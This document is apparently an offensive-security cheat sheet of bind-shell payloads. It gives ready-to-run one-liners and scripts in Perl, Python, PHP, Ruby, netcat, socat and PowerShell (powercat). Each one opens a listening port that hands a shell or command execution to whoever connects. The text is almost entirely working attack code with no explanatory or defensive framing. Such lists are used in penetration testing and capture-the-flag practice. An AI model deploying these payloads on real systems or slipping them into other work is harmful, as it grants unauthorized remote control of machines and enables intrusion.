# Bind Shell

## Summary

## Perl

```
perl -e 'use Socket;$p=51337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));\
bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);\
close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -
i");};'
```

## Python

Single line :

```
python -c 'exec("""import socket as s,subprocess as
sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR,
1);s1.bind(("0.0.0.0",51337));s1.listen(1);c,a=s1.accept();\nwhile True:
d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=s
p.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
```

Expanded version :

```
import socket as s,subprocess as sp;

s1 = s.socket(s.AF_INET, s.SOCK_STREAM);
s1.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1);
s1.bind(("0.0.0.0", 51337));
s1.listen(1);
c, a = s1.accept();

while True:
    d = c.recv(1024).decode();
    p = sp.Popen(d, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE);
    c.sendall(p.stdout.read()+p.stderr.read())
```

## PHP

```
php -r
'$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",51337);\
socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ 
",2))exit;\
$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);\
    socket_write($cl,$m,strlen($m));}}'
```

## Ruby

```
ruby -rsocket -e 'f=TCPServer.new(51337);s=f.accept;exec sprintf("/bin/sh -i <&%d
>&%d 2>&%d",s,s,s)'
```

## Netcat Traditional

```
nc -nlvp 51337 -e /bin/bash
```

## Netcat OpenBsd

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 51337 >/tmp/f
```

## Socat

```
user@attacker$ socat FILE:`tty`,raw,echo=0 TCP:target.com:12345
user@victim$ socat TCP-LISTEN:12345,reuseaddr,fork
EXEC:/bin/sh,pty,stderr,setsid,sigint,sane
```

## Powershell

```
https://github.com/besimorhino/powercat

# Victim (listen)
. .\powercat.ps1
powercat -l -p 7002 -ep

# Connect from attacker
. .\powercat.ps1
powercat -c 127.0.0.1 -p 7002
```